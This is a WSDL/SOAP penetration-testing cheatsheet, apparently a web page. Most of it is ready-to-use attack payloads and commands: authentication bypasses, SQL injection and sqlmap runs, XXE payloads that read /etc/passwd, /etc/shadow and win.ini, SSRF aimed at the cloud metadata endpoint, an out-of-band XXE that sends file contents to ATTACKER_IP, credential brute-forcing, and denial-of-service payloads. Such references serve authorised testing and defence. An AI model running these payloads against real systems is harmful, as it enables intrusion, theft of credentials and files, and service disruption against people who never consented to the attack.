WSDL

WSDL / SOAP Pentesting Cheatsheet


What is WSDL?

WSDL (Web Services Description Language) is an XML-based contract that describes a SOAP web service — what operations it exposes, what parameters they take, and where to send requests.

Think of it as a Swagger/OpenAPI spec but for SOAP — the WSDL file is your attack surface map.

WSDL defines:
  ├── <types>         → XML schemas for input/output data
  ├── <message>       → Request/response message structures
  ├── <portType>      → Available operations (like API endpoints)
  ├── <binding>       → How operations are transmitted (SOAP/HTTP)
  └── <service>       → Actual URL endpoint to call

SOAP (Simple Object Access Protocol) is the protocol — XML messages sent over HTTP/HTTPS, typically via POST. Unlike REST, every call goes to the same URL, differentiated by the SOAPAction header or the XML body element name.

Why SOAP/WSDL is Interesting to Pentesters


Attack Flow

1. Discover    → Find WSDL file, enumerate endpoints and operations
2. Recon       → Parse operations, parameters, data types, auth requirements
3. Auth test   → Test WS-Security, basic auth, token auth, bypass attempts
4. Inject      → SQLi, XXE, XML injection into SOAP body parameters
5. SSRF        → Abuse XML/DTD processing to pivot to internal services
6. Fuzz        → Bruteforce operations, fuzz parameter types
7. Post-Ex     → Extract data, escalate via chained service calls

Discovery & Recon

Finding WSDL Files

# Common WSDL URL patterns — probe all of these
?wsdl
?WSDL
/service.asmx?wsdl
/service.svc?wsdl
/api/service?wsdl
/ws?wsdl
/soap?wsdl
/services?wsdl
/axis/services/<ServiceName>?wsdl   # Apache Axis
/axis2/services/<ServiceName>?wsdl  # Apache Axis2

# Examples
curl -s "http://target.com/api/UserService?wsdl"
curl -s "http://target.com/service.asmx?wsdl"
curl -s "http://target.com/ws/soap?WSDL"

# Google dorks
# inurl:"?wsdl" site:target.com
# inurl:"/service.asmx" site:target.com
# filetype:wsdl site:target.com

# Directory brute with WSDL-focused wordlist
ffuf -u "http://target.com/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200 -t 50

# Burp Suite — target → WSDL → right-click → "Parse WSDL" (Wsdler extension)

Parse WSDL — Extract Operations

# Download the WSDL
curl -s "http://target.com/service?wsdl" -o service.wsdl

# Extract all operation names
grep -oP '(?<=operation name=")[^"]+' service.wsdl

# Extract all message parts (parameter names + types)
grep -E 'element name|part name|type=' service.wsdl

# Extract endpoint URL
grep -oP '(?<=location=")[^"]+' service.wsdl

# Python one-liner: list all operations
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('service.wsdl')
ns = {'wsdl': 'http://schemas.xmlsoap.org/wsdl/'}
for op in tree.findall('.//wsdl:operation', ns):
    print(op.get('name'))
"

Build a Raw SOAP Request (Anatomy)

POST /service.asmx HTTP/1.1
Host: target.com
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://target.com/ns/OperationName"
Content-Length: <length>

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope
  xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:ns="http://target.com/namespace">
  <soap:Header/>
  <soap:Body>
    <ns:OperationName>
      <ns:parameter1>VALUE</ns:parameter1>
      <ns:parameter2>VALUE</ns:parameter2>
    </ns:OperationName>
  </soap:Body>
</soap:Envelope>
# Send a SOAP request with curl
curl -s -X POST "http://target.com/service.asmx" \
  -H "Content-Type: text/xml;charset=UTF-8" \
  -H 'SOAPAction: "http://target.com/ns/GetUser"' \
  -d '<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUser xmlns="http://target.com/ns">
      <userId>1</userId>
    </GetUser>
  </soap:Body>
</soap:Envelope>'

Authentication Testing

WS-Security Header

WS-Security adds auth inside the SOAP <Header>. Common implementations:

<soap:Header>
  <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
    <wsse:UsernameToken>
      <wsse:Username>admin</wsse:Username>
      <wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText">
        password123
      </wsse:Password>
    </wsse:UsernameToken>
  </wsse:Security>
</soap:Header>

Authentication Bypass Techniques

<!-- 1. Remove the WS-Security header entirely — some services skip auth checks -->

<!-- 2. Empty credentials -->
<wsse:Username></wsse:Username>
<wsse:Password></wsse:Password>

<!-- 3. SQL injection in username field -->
<wsse:Username>admin' OR '1'='1</wsse:Username>

<!-- 4. Null byte injection -->
<wsse:Username>admin%00</wsse:Username>

<!-- 5. Type confusion — change PasswordText to PasswordDigest -->
<wsse:Password Type="...#PasswordDigest">anything</wsse:Password>

<!-- 6. XML comment injection to break auth logic -->
<wsse:Username>admin<!--</wsse:Username>
<wsse:Password>-->anything</wsse:Password>
# Brute force credentials with wfuzz
wfuzz -c -z file,users.txt -z file,pass.txt \
  -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="..."><soap:Header><wsse:Security><wsse:UsernameToken><wsse:Username>FUZZ</wsse:Username><wsse:Password>FUZ2Z</wsse:Password></wsse:UsernameToken></wsse:Security></soap:Header><soap:Body>...</soap:Body></soap:Envelope>' \
  --hc 500 \
  "http://target.com/service.asmx"

HTTP-Level Auth (Basic / Token)

# Basic auth
curl -su admin:admin -X POST "http://target.com/service" \
  -H "Content-Type: text/xml" \
  -d '<soap:Envelope>...</soap:Envelope>'

# Bearer token
curl -X POST "http://target.com/service" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -H "Content-Type: text/xml" \
  -d '<soap:Envelope>...</soap:Envelope>'

SQL Injection in SOAP Parameters

SOAP parameters are passed to backend systems identically to web form inputs — if the server concatenates them into SQL, it's injectable.

<!-- Target operation — UserId parameter -->
<GetUser>
  <UserId>1</UserId>
</GetUser>

<!-- Classic blind SQLi test -->
<GetUser>
  <UserId>1 AND 1=1-- -</UserId>
</GetUser>

<!-- Error-based -->
<GetUser>
  <UserId>1' OR SLEEP(5)-- -</UserId>
</GetUser>

<!-- UNION-based (determine column count first) -->
<GetUser>
  <UserId>1 UNION SELECT NULL,NULL,NULL-- -</UserId>
</GetUser>
# sqlmap against SOAP endpoint — use request file
# 1. Save the SOAP request to a file (soap_request.txt) with * at injection point:
# <UserId>*</UserId>

# 2. Pass to sqlmap
sqlmap -r soap_request.txt \
  --level=5 --risk=3 \
  --dbms=mysql \
  --data='<?xml version="1.0"?><soap:Envelope>...<UserId>*</UserId>...</soap:Envelope>'

# Alternative: direct POST data
sqlmap -u "http://target.com/service.asmx" \
  --method=POST \
  --headers="Content-Type: text/xml\nSOAPAction: \"http://target.com/ns/GetUser\"" \
  --data='<soap:Envelope>...*...</soap:Envelope>' \
  --dbms=mssql -p "*"

XXE (XML External Entity) Injection

SOAP bodies are XML — if the parser processes external entities, you get file read and SSRF.

Basic XXE — File Read

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUser>
      <UserId>&xxe;</UserId>
    </GetUser>
  </soap:Body>
</soap:Envelope>

XXE — Windows File Read

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>

XXE → SSRF (Internal Network Probe)

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<!-- Insert &xxe; in a reflected parameter -->

Blind XXE — Out-of-Band (OOB)

<!-- Payload in SOAP body -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://ATTACKER_IP/evil.dtd">
  %dtd;
]>

<!-- evil.dtd on your server -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % oob "<!ENTITY send SYSTEM 'http://ATTACKER_IP/?data=%file;'>">
%oob;
# Listen for OOB callbacks
nc -lvnp 80
python3 -m http.server 80
# Or use Burp Collaborator / interactsh

XXE in SOAP Header

<soap:Header>
  <?xml version="1.0"?>
  <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]>
  <customHeader>&xxe;</customHeader>
</soap:Header>

XML Injection

Beyond XXE, inject raw XML to break the document structure or manipulate logic.

<!-- Parameter value injection — close the tag and add your own element -->
<UserId>1</UserId><AdminFlag>true</AdminFlag><UserId>1</UserId>

<!-- Comment injection — comment out security checks in XML-driven logic -->
<UserId>1<!-- </UserId><wsse:Security>blocked</wsse:Security> --></UserId>

<!-- CDATA bypass — wrap payloads to avoid XML parser issues -->
<UserId><![CDATA[1' OR '1'='1]]></UserId>

SSRF via SOAPAction / Endpoint

SOAPAction Header Injection

The SOAPAction header tells the server which operation to invoke. Spoofing it can bypass access controls.

# Try calling admin/internal operations with guest auth
curl -X POST "http://target.com/service" \
  -H 'SOAPAction: "http://target.com/ns/AdminDeleteUser"' \
  -H "Content-Type: text/xml" \
  -H "Authorization: Basic dXNlcjpwYXNz" \
  -d '<soap:Envelope>...</soap:Envelope>'

# Try empty SOAPAction
curl -X POST "http://target.com/service" \
  -H 'SOAPAction: ""' ...

# Try omitting SOAPAction entirely

SSRF via XML DTD / Entities

<!DOCTYPE foo [
  <!ENTITY ssrf SYSTEM "http://internal-host:8080/admin">
]>
<!-- Response may reflect internal content in error messages -->

SOAP-Specific Attacks

Operation Enumeration (SOAPAction Fuzzing)

WSDL may not expose all operations — fuzz for hidden ones.

# Wordlist of common SOAP operation names
# https://github.com/nicholasgwalker/soapaction-wordlist

wfuzz -c -z file,soapaction-wordlist.txt \
  -H 'SOAPAction: "http://target.com/FUZZ"' \
  -H "Content-Type: text/xml" \
  -d '<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><FUZZ xmlns="http://target.com/"/></soap:Body></soap:Envelope>' \
  --hc 400,404 \
  "http://target.com/service.asmx"

Parameter Type Confusion

WSDL defines expected types — test mismatches.

<!-- WSDL says integer, try string -->
<UserId>admin</UserId>

<!-- WSDL says string, try negative int -->
<Amount>-9999</Amount>

<!-- Array where single value expected -->
<UserId>
  <id>1</id>
  <id>2</id>
</UserId>

<!-- Long string (buffer overflow probe) -->
<UserId>AAAAAAAAAAAAAAAAAAAAAAAAA... (2000 chars)</UserId>

WS-Security Timestamp Replay

WS-Security uses <Timestamp> to prevent replay attacks. If poorly validated:

<wsse:Security>
  <wsu:Timestamp>
    <!-- Reuse an old valid timestamp — server may not check expiry -->
    <wsu:Created>2020-01-01T00:00:00Z</wsu:Created>
    <wsu:Expires>2020-01-01T00:05:00Z</wsu:Expires>
  </wsu:Timestamp>
  <!-- Paste in a captured valid auth token here -->
</wsse:Security>

SOAP Array Abuse (Resource Exhaustion)

<!-- Create massive nested arrays to cause DoS/memory exhaustion -->
<soap:Body>
  <processData>
    <data>
      <item>A</item>
      <item>A</item>
      <!-- repeat 10,000 times -->
    </data>
  </processData>
</soap:Body>

Tools

SoapUI

# Import WSDL and auto-generate all request templates
File → New SOAP Project → Project WSDL: http://target.com/service?wsdl

# Security testing
# Right-click test suite → Add Security Test
# Choose: SQL Injection, XPath Injection, Invalid Types, etc.

Burp Suite + Wsdler Extension

# Install from BApp Store: Wsdler
# Usage:
# 1. Send any SOAP request to target in Burp
# 2. Right-click → Extensions → Wsdler → Parse WSDL
# 3. All operations appear in a new tab — click to generate requests in Repeater

# Burp Scanner also supports WSDL import (Enterprise Ed):
# Dashboard → New scan → Upload WSDL → Audit

wfuzz

# Fuzz a SOAP parameter
wfuzz -c -z file,/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt \
  -H "Content-Type: text/xml" \
  -H 'SOAPAction: "http://target.com/ns/GetUser"' \
  -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetUser xmlns="http://target.com/"><UserId>FUZZ</UserId></GetUser></soap:Body></soap:Envelope>' \
  --hh 0 \
  "http://target.com/service.asmx"

# XXE fuzzing
wfuzz -c -z file,xxe-payloads.txt \
  -d '<?xml version="1.0"?>FUZZ<soap:Envelope>...</soap:Envelope>' \
  "http://target.com/service.asmx"

curl — Quick Interaction

# Template function for any SOAP call
soap_call() {
  local url=$1 action=$2 body=$3
  curl -s -X POST "$url" \
    -H "Content-Type: text/xml;charset=UTF-8" \
    -H "SOAPAction: \"$action\"" \
    -d "<?xml version=\"1.0\"?><soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body>$body</soap:Body></soap:Envelope>"
}

# Usage
soap_call "http://target.com/ws" "http://target.com/ns/GetUser" "<GetUser><UserId>1</UserId></GetUser>"

Python — SOAP Request Builder

import requests

def soap_call(url, action, body_xml, auth=None):
    envelope = f"""<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    {body_xml}
  </soap:Body>
</soap:Envelope>"""
    
    headers = {
        "Content-Type": "text/xml;charset=UTF-8",
        "SOAPAction": f'"{action}"'
    }
    r = requests.post(url, data=envelope, headers=headers, auth=auth)
    return r.text

# SQLi test
payload = "<GetUser><UserId>1' OR 1=1-- -</UserId></GetUser>"
print(soap_call("http://target.com/service.asmx", "http://target.com/ns/GetUser", payload))

CVEs — Notable SOAP/WSDL Vulnerabilities

CVE Product Type Impact
CVE-2024-34102 Adobe Commerce (Magento) XXE via SOAP Unauthenticated RCE
CVE-2024-6893 WSO2 XXE in SOAP File read / SSRF
CVE-2024-7073 WSO2 SSRF in SOAP admin Internal access
CVE-2024-6914 WSO2 Auth bypass via SOAP admin Account takeover
CVE-2017-5641 Apache BlazeDS XXE in SOAP RCE
CVE-2019-0227 Apache Axis SSRF / RCE Unauthenticated RCE
CVE-2010-4476 Java Runtime DoS via float parsing JVM crash via SOAP

Common Misconfigurations Checklist


Quick Reference

Task Command/Technique
Find WSDL curl -s "http://target/service?wsdl"
List operations grep -oP '(?<=operation name=")[^"]+' service.wsdl
Send SOAP request curl -X POST -H "Content-Type: text/xml" -H 'SOAPAction: "..."' -d '<envelope>'
SQLi Inject ' OR 1=1-- - into any string parameter
XXE file read <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> + &xxe; in body
XXE OOB Load remote DTD: <!ENTITY % dtd SYSTEM "http://attacker/evil.dtd">
Auth bypass Remove <wsse:Security> header, try empty creds, SQL in username
SOAPAction fuzz wfuzz -z file,ops.txt -H 'SOAPAction: "FUZZ"'
sqlmap sqlmap -r soap_req.txt --dbms=mssql
Burp WSDL Wsdler extension → Parse WSDL → requests in Repeater

Key References